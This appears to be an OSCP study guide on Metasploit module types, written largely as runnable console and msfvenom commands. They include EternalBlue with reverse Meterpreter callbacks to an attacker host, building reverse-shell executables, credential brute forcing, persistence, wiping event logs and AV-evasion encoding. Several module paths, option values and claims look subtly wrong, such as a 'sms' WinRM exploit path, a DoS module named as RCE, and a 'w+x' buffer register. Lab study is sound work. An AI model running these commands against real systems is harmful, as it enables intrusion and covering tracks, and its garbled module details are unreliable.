Domain 5Pivoting & MetasploitCORE

Module Types

Comprehensive guide to all Metasploit module types including exploits, payloads, auxiliary, post-exploitation, encoders, and NOP generators with detailed examples and OSCP exam relevance for each type.

Domain: Domain 5: Pivoting, Tunneling & Metasploit•Updated: 2026-09-01
#metasploit#modules#exploits#payloads#auxiliary#post-exploitation

Module Types

1. Module Types Overview

The Metasploit Framework organizes its functionality into six distinct module types, each serving a specific role in the penetration testing workflow. Understanding these module types and their relationships is fundamental to effective use of Metasploit during the OSCP exam.

Module Type Path Prefix Purpose OSCP Relevance
Exploits exploit/ Execute code on a target by leveraging vulnerabilities ⭐⭐⭐⭐⭐ Critical
Payloads payload/ Code delivered after successful exploitation ⭐⭐⭐⭐⭐ Critical
Auxiliary auxiliary/ Support modules (scanning, brute force, DoS, etc.) ⭐⭐⭐⭐ Very Useful
Post post/ Actions after gaining initial access ⭐⭐⭐⭐ Very Useful
Encoders encoder/ Transform payloads to evade detection ⭐⭐⭐ Useful
NOP Generators nop/ Generate NOP sleds for buffer overflows ⭐⭐ Niche

The Attack Chain

A typical Metasploit attack follows this chain:

Exploit Module → Encoder (optional) → Payload → Session → Post Module
  • The exploit delivers the payload to the target
  • The encoder may wrap the payload to bypass defenses
  • The payload executes and creates a session
  • Post modules operate within the session for further actions

2. Exploits (exploit/)

Purpose

Exploit modules contain the code necessary to take advantage of a specific vulnerability in a target application or service. When triggered, the exploit module attempts to execute the specified payload on the remote system.

Naming Convention

Exploit modules follow a structured naming pattern:

exploit/[platform]/[service]/[specific_module]

Common platform categories:

Platform Description Example
windows Windows-specific exploits exploit/windows/smb/ms08_067_netapi
linux Linux-specific exploits exploit/linux/http/apache_mod_cgi_bash_env
multi Cross-platform exploits exploit/multi/http/struts_rest_param_parsing
android Android exploits exploit/android/browser/ie_execcmd
browser Browser-based exploits exploit/browser/ms10_042_helpctr_xss_cmd_exec
freebsd FreeBSD exploits exploit/freebsd/samba/transpose_talloc
solaris Solaris exploits exploit/solaris/ftp/wu_ftpd_putenv
unix Unix-specific exploits exploit/unix/webapp/php_cgi_arg_injection

Required Components

Every exploit module must define certain core components:

  1. Target Information (TARGET): Architecture, platform, and default target
  2. Payload (PAYLOAD): Constraints on acceptable payloads
  3. Options (OPTIONS): Required and advanced configuration parameters
  4. Check Method (check): Verifies if the target is vulnerable (when available)
  5. Exploit Method (exploit): The core exploitation logic

Module Ranking System

Metasploit assigns a rank to each exploit module indicating its reliability and stability. This is critical for OSCP — always prefer higher-ranked modules.

Rank Description Reliability OSCP Advice
Excellent Always works, no crashes, stable sessions Very high Use first. Most reliable option.
Great Highly reliable, rare failures High Strong second choice
Good Works well, occasional issues Medium-High Good default choice
Normal Works but may need tuning Medium Use when better options unavailable
Average Unreliable, frequent failures Low Avoid unless desperate
Manual Requires significant manual configuration Very low Last resort only

Viewing Module Rankings

# Search for exploits and see their rankings
msf6 > search ms17-010

# View module details including rank
msf6 > use exploit/windows/sms/winrm_ps_serialization
msf6 exploit(winrm_ps_serialization) > info

The info command output includes:

Module Ranking:   Great

Real-World Exploit Examples

Example 1: EternalBlue (MS17-010)

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.10.10.100
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 10.10.14.5
msf6 exploit(ms17_010_eternalblue) > exploit

Rank: Great | Platform: Windows | Impact: Critical

Example 2: Apache Struts 2

msf6 > use exploit/multi/http/struts2_code_injection_param
msf6 exploit(struts2_code_injection_param) > set RHOSTS 10.10.10.100
msf6 exploit(struts2_code_injection_param) > set TARGETURI /victim.action
msf6 exploit(struts2_code_injection_param) > exploit

Rank: Excellent | Platform: Multi | Impact: Critical

Example 3: OpenVPN Auth Bypass

msf6 > use exploit/linux/openvpn/openvpn_auth_bypass
msf6 exploit(openvpn_auth_bypass) > set RHOSTS 10.10.10.100
msf6 exploit(openvpn_auth_bypass) > set PAYLOAD cmd/unix/reverse_bash
msf6 exploit(openvpn_auth_bypass) > exploit

Rank: Excellent | Platform: Linux | Impact: Medium

Key Exploit Options

Option Description Typical Value
RHOSTS Target host(s) 10.10.10.100
RPORT Target port 445, 80, 443
LHOST Attacker IP (listener) 10.10.14.5
LPORT Listener port 4444
TARGETURI Path to vulnerable app /app
USERNAME Auth username admin
PASSWORD Auth password password123
SSL Use HTTPS true / false
Proxies HTTP proxy chain http://127.0.0.1:8080

3. Payloads (payload/)

Purpose

Payloads are the code that executes on the target system after a successful exploit. They define what happens once the vulnerability is leveraged. Payloads are independent of exploits — the same payload can be delivered by different exploit modules.

Naming Convention

payload/[platform]/[type]/[delivery_method]
Component Values Description
Platform windows, linux, php, python, cmd, java, etc. Target OS/language
Type shell, reverse_tcp, bind_tcp, meterpreter, etc. Communication method
Delivery reverse_tcp, reverse_https, reverse_tcp_ssl, etc. Protocol details

Reverse vs. Bind Payloads

This is a fundamental distinction that every OSCP candidate must understand.

Feature Reverse Payload Bind Payload
Direction Target → Attacker Attacker → Target
Firewall Friendly Yes (outbound) No (inbound needed)
Use Case Target behind NAT/firewall Target port accessible
Attacker Action Listen for incoming connection Connect to target
Example windows/meterpreter/reverse_tcp windows/meterpreter/bind_tcp

OSCP Rule of Thumb: Always try reverse payloads first. Most exam machines are behind firewalls that block inbound connections but allow outbound.

Meterpreter vs. Shell

Feature Meterpreter Shell
Stability High (in-memory) Low (command-line)
Features Rich (file upload, keylog, pivot) Basic (cmd.exe / bash)
Stealth Better (no process on disk) Visible process
Compatibility Needs architecture match More universal
Post Modules Full support Limited
Example windows/x64/meterpreter/reverse_tcp windows/x64/shell/reverse_tcp

When Meterpreter fails (crashes, AV detection), fall back to shell payloads.

Session vs. Non-Session Payloads

Type Description Example
Session Creates a persistent session in Metasploit windows/meterpreter/reverse_tcp
Non-Session Executes and exits (no Metasploit session) windows/exec, cmd/generic_reverse_shell

Session payloads give you a numbered session ([*] Starting interaction with 1) that you can interact with, migrate, and use post-exploitation modules against.

Single Stage vs. Staged Payloads

This is a critical OSCP concept.

Feature Single Stage Staged
Delivery All payload in one request Two-step: stager → stage
Size Larger (full payload) Smaller initial delivery
Reliability Higher (one connection) Lower (two connections)
Naming No slash before type Slash before type
Example windows/meterpreter_reverse_tcp windows/meterpreter/reverse_tcp
When to Use Unreliable networks, AV evasion Size-constrained exploits

How to identify: A slash (/) between the platform and delivery method indicates a staged payload.

Staged:     windows/meterpreter/reverse_tcp    (note the extra /)
Single:     windows/meterpreter_reverse_tcp     (underscore, no extra /)

OSCP Strategy: Start with staged payloads. If the exploit succeeds but you don’t get a session, switch to single-stage.

Common Payload Examples

# Windows Meterpreter (staged, reverse TCP) — most common
windows/x64/meterpreter/reverse_tcp

# Windows Meterpreter (single stage) — more reliable
windows/x64/meterpreter_reverse_tcp

# Linux Meterpreter
linux/x86/meterpreter/reverse_tcp

# Generic reverse shell (when Meterpreter fails)
windows/x64/shell/reverse_tcp
cmd/unix/reverse_bash
python/meterpreter/reverse_tcp

# PHP payload (for web apps)
php/meterpreter/reverse_tcp

# HTTPS (encrypted, bypasses basic inspection)
windows/x64/meterpreter/reverse_https

Key Payload Options

Option Description Typical Value
LHOST Attacker IP for reverse payloads 10.10.14.5
LPORT Listener port 4444
RHOST Target IP for bind payloads 10.10.10.100
RPORT Target port for bind payloads 4444
EXITFUNC How payload exits thread or process
PrependMigrate Auto-migrate process explorer.exe
InitialAutoRunScript Auto-run post module post/multi/recon/local_exploit_suggester

4. Auxiliary Modules (auxiliary/)

Purpose

Auxiliary modules provide support functionality that doesn’t involve exploitation. They cannot deliver payloads but are invaluable for reconnaissance, scanning, brute forcing, and reporting.

Subcategories

Scanner (auxiliary/scanner/)

Scan targets for open ports, services, and vulnerabilities.

# SMB version scanner
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(smb_version) > run

# SSH version scanner
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(ssh_version) > set RHOSTS 10.10.10.100
msf6 auxiliary(ssh_version) > run

# HTTPS scanner
msf6 > use auxiliary/scanner/http/https
msf6 auxiliary(https) > set RHOSTS 10.10.10.100
msf6 auxiliary(https) > set RPORT 443
msf6 auxiliary(https) > run

Brute Force (auxiliary/scanner/)

Attempt to gain access through credential guessing.

# SSH brute force
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(ssh_login) > set RHOSTS 10.10.10.100
msf6 auxiliary(ssh_login) > set USER_FILE /root/usernames.txt
msf6 auxiliary(ssh_login) > set PASS_FILE /root/passwords.txt
msf6 auxiliary(ssh_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(ssh_login) > run

# FTP brute force
msf6 > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(ftp_login) > set RHOSTS 10.10.10.100
msf6 auxiliary(ftp_login) > set USER_FILE /root/usernames.txt
msf6 auxiliary(ftp_login) > set PASS_FILE /root/passwords.txt
msf6 auxiliary(ftp_login) > run

# SMB brute force
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(smb_login) > set RHOSTS 10.10.10.100
msf6 auxiliary(smb_login) > set USER_FILE /root/usernames.txt
msf6 auxiliary(smb_login) > set PASS_FILE /root/passwords.txt
msf6 auxiliary(smb_login) > run

Key Option: STOP_ON_SUCCESS true — stops the brute force after finding the first valid credential. Essential for saving time during the exam.

Denial of Service (auxiliary/dos/)

Attempt to crash or disrupt a service. Rarely used in OSCP — exam focuses on gaining access, not disrupting services.

# Example: Apache DoS
msf6 > use auxiliary/dos/windows/http/apache_2_4_49_rce

Capture (auxiliary/server/capture/)

Set up capture servers for protocols like NTLM, HTTP auth, etc.

# NTLM capture server
msf6 > use auxiliary/server/capture/smb
msf6 auxiliary(smb) > set SRVHOST 0.0.0.0
msf6 auxiliary(smb) > run

Client (auxiliary/client/)

Act as a client to interact with services.

# Extract NTLM hashes from a server
msf6 > use auxiliary/client/enum/ntlm_enum

Report (auxiliary/report/)

Generate reports from collected data.

# Generate HTML report
msf6 > use auxiliary/report/html
msf6 auxiliary(html) > set WORKSPACE exam_workspace
msf6 auxiliary(html) > run

Discover (auxiliary/scanner/)

Network discovery and enumeration.

# Redis instance discovery
msf6 > use auxiliary/scanner/redis/redis_server
msf6 auxiliary(redis_server) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(redis_server) > run

Auxiliary Module Options

Option Description Typical Value
RHOSTS Target hosts 10.10.10.0/24
THREADS Concurrent threads 20 (default: 1)
STOP_ON_SUCCESS Stop after first success true
USER_FILE Username wordlist /root/usernames.txt
PASS_FILE Password wordlist /root/passwords.txt
BLANK_PASSWORDS Try blank passwords true
BRUTEFORCE_SPEED Speed (0-5) 1 (polite) to 5 (fast)

5. Post-Exploitation Modules (post/)

Purpose

Post-exploitation modules run after you have gained a session. They enable further actions like privilege escalation, credential harvesting, persistence, and system enumeration.

Subcategories

Gather (post/*/gather/)

Collect information from the compromised system.

# Gather Windows system info
msf6 > use post/windows/gather/system/info
msf6 post(info) > set SESSION 1
msf6 post(info) > run

# Gather environment variables
msf6 > use post/multi/gather/env
msf6 post(env) > set SESSION 1
msf6 post(env) > run

# Gather Linux system info
msf6 > use post/linux/gather/system/linux_exploit_suggester
msf6 post(linux_exploit_suggester) > set SESSION 1
msf6 post(linux_exploit_suggester) > run

Escalate (post/*/escalate/)

Attempt to elevate privileges on the target.

# Windows privilege escalation
msf6 > use post/windows/escalate/always_install_elevated
msf6 post(always_install_elevated) > set SESSION 1
msf6 post(always_install_elevated) > run

# Linux kernel exploit suggester
msf6 > use post/linux/gather/enum
msf6 post(enum) > set SESSION 1
msf6 post(enum) > run

Manage (post/*/manage/)

Manage users, groups, and system configurations.

# Add a new user (Windows)
msf6 > use post/windows/manage/enable_desktop_share
msf6 post(enable_desktop_share) > set SESSION 1
msf6 post(enable_desktop_share) > run

# Run a command as another user
msf6 > use post/windows/manage/run_as
msf6 post(run_as) > set SESSION 1
msf6 post(run_as) > set CMD whoami
msf6 post(run_as) > run

Persist (post/*/persist/)

Establish persistence mechanisms on the target.

# Windows persistence via service
msf6 > use post/windows/manage/persistence_exe
msf6 post(persistence_exe) > set SESSION 1
msf6 post(persistence_exe) > set LHOST 10.10.14.5
msf6 post(persistence_exe) > set LPORT 4444
msf6 post(persistence_exe) > run

Recon (post/*/recon/)

Perform reconnaissance from within the compromised network.

# Local exploit suggester (Windows)
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(local_exploit_suggester) > set SESSION 1
msf6 post(local_exploit_suggester) > run

# Linux enum module
msf6 > use post/linux/gather/enum
msf6 post(enum) > set SESSION 1
msf6 post(enum) > run

Utility (post/*/utility/)

General utility modules.

# Clear Windows event logs
msf6 > use post/windows/manage/clearlogs
msf6 post(clearlogs) > set SESSION 1
msf6 post(clearlogs) > run

# Check if target is a VM
msf6 > use post/windows/gather/checkvm
msf6 post(checkvm) > set SESSION 1
msf6 post(checkvm) > run

Post Module Session Management

# List all active sessions
msf6 > sessions -l

# Interact with a specific session
msf6 > sessions -i 1

# Background a session
# (Type Ctrl+Z or run 'background' from Meterpreter)

# Kill a session
msf6 > sessions -k 1

# Kill all sessions
msf6 > sessions -K

6. Encoders (encoder/)

Purpose

Encoders transform payload bytes to help bypass antivirus signatures and intrusion detection systems. They do not compress payloads — they modify the byte representation while preserving functionality.

How Encoding Works

Original Payload → Encoder → Encoded Payload → Decoder Stub → Original Payload (on target)

The encoder wraps the payload with a decoder stub that runs on the target and reconstructs the original payload in memory before execution.

Available Encoders

Encoder Type Description OSCP Relevance
x86/shikata_ga_nai Polymorphic Most reliable, multi-pass encoding ⭐⭐⭐⭐⭐ Essential
x86/unicode_mixed Single Unicode-based encoding ⭐⭐⭐ Useful
x86/cjk Single CJK character encoding ⭐⭐ Niche
x86/countdown Single Countdown NOP replacement ⭐⭐ Niche
x86/block_encoder Single Block-based encoding ⭐⭐ Niche
x64/xor_dynamic Single XOR encoding for x64 ⭐⭐⭐ Useful
cmd/printf_php_mq Single Command-line encoding ⭐ Niche

Using Encoders

# Apply encoder to a payload
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set ENABLE_ENCODING true
msf6 exploit(ms17_010_eternalblue) > set ENCODER x86/shikata_ga_nai
msf6 exploit(ms17_010_eternalblue) > set ENCODED_SIZE 0
msf6 exploit(ms17_010_eternalblue) > set BUFFERREGISTER w+x
msf6 exploit(ms17_010_eternalblue) > exploit

Encoder Options

Option Description Typical Value
ENABLE_ENCODING Enable payload encoding true
ENCODER Encoder to use x86/shikata_ga_nai
ENCODED_SIZE Max encoded size (0 = no limit) 0
ITERATIONS Number of encoding passes 3 to 20
BUFFERREGISTER Register for buffer w+x

When to Use Encoders in OSCP

  1. AV Detection: When the target has antivirus that blocks the payload
  2. Size Constraints: When the exploit has a small buffer (encoding can sometimes reduce size)
  3. IDS/IPS Evasion: When network inspection blocks known payload signatures
  4. Fallback Strategy: When the exploit works but the session dies immediately

Important: Encoders add a decoder stub, which can increase payload size. For buffer overflow exploits with tight size constraints, encoding may make the payload too large.


7. NOP Generators (nop/)

Purpose

NOP (No Operation) generators create sequences of NOP instructions (0x90 on x86) used in buffer overflow exploits. A NOP sled increases the chance of successful exploitation by providing a “slide” that redirects execution to the payload.

How NOP Sleds Work

[NOP Sled] → [Shellcode/Payload] → [Return Address Points Here ↓]
0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 [SHELLCODE STARTS HERE]
                                         ↑
                                   EIP lands anywhere
                                   in the NOP sled and
                                   slides down to payload

Available NOP Generators

Generator Architecture Description
generic/unknown_nop Universal Standard NOP bytes
x86/normal x86 Standard x86 NOP (0x90)
x86/call_add_cfg x86 CALL-based NOP
x86/int3 x86 INT3-based NOP
x86/jmp_call_7 x86 JMP/CALL-based NOP
armle/normal ARM LE ARM little-endian NOP

When They Matter in OSCP

NOP generators are rarely used directly during the OSCP exam because:

  1. Most Metasploit exploit modules handle NOP sleds internally
  2. Hand-crafted buffer overflows are uncommon on exam machines
  3. The pattern_create, pattern_offset, and pattern_create_rgb tools from Metasploit are more relevant for manual exploitation

However, understanding NOP sleds is important for:

  • Manual buffer overflow exploitation (if you choose to exploit manually)
  • Understanding how exploits work at a deeper level
  • Custom exploit development scenarios

8. Module Relationships

The Complete Attack Flow

┌─────────────────────────────────────────────────────────────┐
│                     ATTACK CHAIN                             │
│                                                              │
│  1. RECONNAISSANCE                                          │
│     auxiliary/scanner/* modules                              │
│     → Identify target, ports, services                       │
│                                                              │
│  2. EXPLOITATION                                            │
│     exploit/* + payload/*                                    │
│     → Deliver payload via vulnerability                      │
│                                                              │
│  3. ENCODING (optional)                                     │
│     encoder/*                                                │
│     → Transform payload to evade detection                   │
│                                                              │
│  4. SESSION MANAGEMENT                                      │
│     sessions -l, -i, -u                                      │
│     → Manage and upgrade sessions                            │
│                                                              │
│  5. POST-EXPLOITATION                                       │
│     post/* modules                                           │
│     → Escalate, gather, persist, pivot                       │
└─────────────────────────────────────────────────────────────┘

How Exploits + Payloads + Encoders Work Together

# Step 1: Select exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# Step 2: Configure target
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.10.10.100

# Step 3: Select payload
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Step 4: Configure payload
msf6 exploit(ms17_010_eternalblue) > set LHOST 10.10.14.5
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444

# Step 5: Apply encoder (if needed)
msf6 exploit(ms17_010_eternalblue) > set ENABLE_ENCODING true
msf6 exploit(ms17_010_eternalblue) > set ENCODER x86/shikata_ga_nai
msf6 exploit(ms17_010_eternalblue) > set ITERATIONS 5

# Step 6: Execute
msf6 exploit(ms17_010_eternalblue) > exploit

# Step 7: Post-exploitation
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(local_exploit_suggester) > set SESSION 1
msf6 post(local_exploit_suggester) > run

Compatibility Matrix

Not all payloads work with all exploits. Key compatibility factors:

Factor Constraint Example
Architecture Payload arch must match target x86 exploit → x86 payload
Platform Payload platform must match target Windows exploit → Windows payload
Size Payload must fit in exploit buffer Large payload may crash small buffer exploits
Network Reverse needs outbound access Behind strict firewall → use bind

Generating Standalone Payloads

Sometimes you need a payload executable outside of Metasploit:

# Generate a Windows executable
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o payload.exe

# Generate with encoding
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload_encoded.exe

# Generate a PHP one-liner
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw

# Generate a Python one-liner
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw

# Generate a Linux ELF
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o payload.elf

9. OSCP Relevance Ranking

Priority Modules for OSCP Exam

Tier 1 — Must Know (Use Every Exam)

Module Type Specific Modules Frequency
Exploit exploit/multi/handler Every single exploit
Payload windows/x64/meterpreter/reverse_tcp Most Windows boxes
Payload linux/x86/meterpreter/reverse_tcp Most Linux boxes
Auxiliary auxiliary/scanner/ssh/ssh_login SSH brute force
Auxiliary auxiliary/scanner/smb/smb_login SMB brute force
Post post/multi/recon/local_exploit_suggester Priv esc suggestions

Tier 2 — High Value (Frequent Use)

Module Type Specific Modules Frequency
Exploit exploit/windows/smb/ms17_010_eternalblue Common Windows vuln
Exploit exploit/multi/http/struts2_* Java web apps
Payload windows/x64/meterpreter_reverse_tcp When staged fails
Auxiliary auxiliary/scanner/http/* Web service discovery
Encoder x86/shikata_ga_nai AV evasion

Tier 3 — Situational (Know When to Use)

Module Type Specific Modules Frequency
Auxiliary auxiliary/scanner/ftp/ftp_login FTP services
Auxiliary auxiliary/scanner/mssql/mssql_login SQL Server
Post post/windows/gather/credentials/* Credential harvesting
Post post/linux/gather/enum Linux enumeration

Quick Reference: Module Selection Decision Tree

Target identified
    │
    ├─ Need to scan? → auxiliary/scanner/*
    │
    ├─ Need to brute force? → auxiliary/scanner/*/ *_login
    │
    ├─ Vulnerability found?
    │     │
    │     ├─ Exploit exists in MSF?
    │     │     ├─ Yes → exploit/* + payload/*
    │     │     └─ No → Manual exploitation
    │     │
    │     └─ Session obtained?
    │           ├─ Yes → post/* for escalation
    │           └─ No → Try different payload/encoder
    │
    └─ Need standalone binary? → msfvenom

Essential Commands Cheat Sheet

# Search for modules
search <keyword>
search -t <type> <keyword>

# Use a module
use <module_path>

# Show module info
info

# Show required options
show options

# Show advanced options
show advanced

# Show available payloads for an exploit
show payloads

# Show targets
show targets

# Set an option
set <OPTION> <value>

# Run the module
exploit    # Interactive (for exploits)
run        # Non-interactive (for auxiliary/post)
r          # Shortcut for run

# Session management
sessions -l          # List sessions
sessions -i <num>    # Interact with session
sessions -u <num>    # Upgrade session
sessions -k <num>    # Kill session

# Generate payload
msfvenom -p <payload> <options> -f <format> -o <output>

Exam Tips

  1. Always check the module rank before using an exploit. Higher rank = higher success probability
  2. Try staged payloads first, then single-stage if staged fails
  3. Use check when available to verify vulnerability before exploitation
  4. Keep a backup shell — before running privilege escalation, ensure you have a way back
  5. Document everything — Metasploit usage must be documented in your exam report
  6. Know when NOT to use Metasploit — some exam machines require manual exploitation for full points
  7. Use multi/handler for reliable session catching when running exploits from outside MSF console

This guide covers all Metasploit module types with OSCP-focused practical examples. Master these concepts and you’ll be well-equipped to leverage Metasploit effectively during your exam.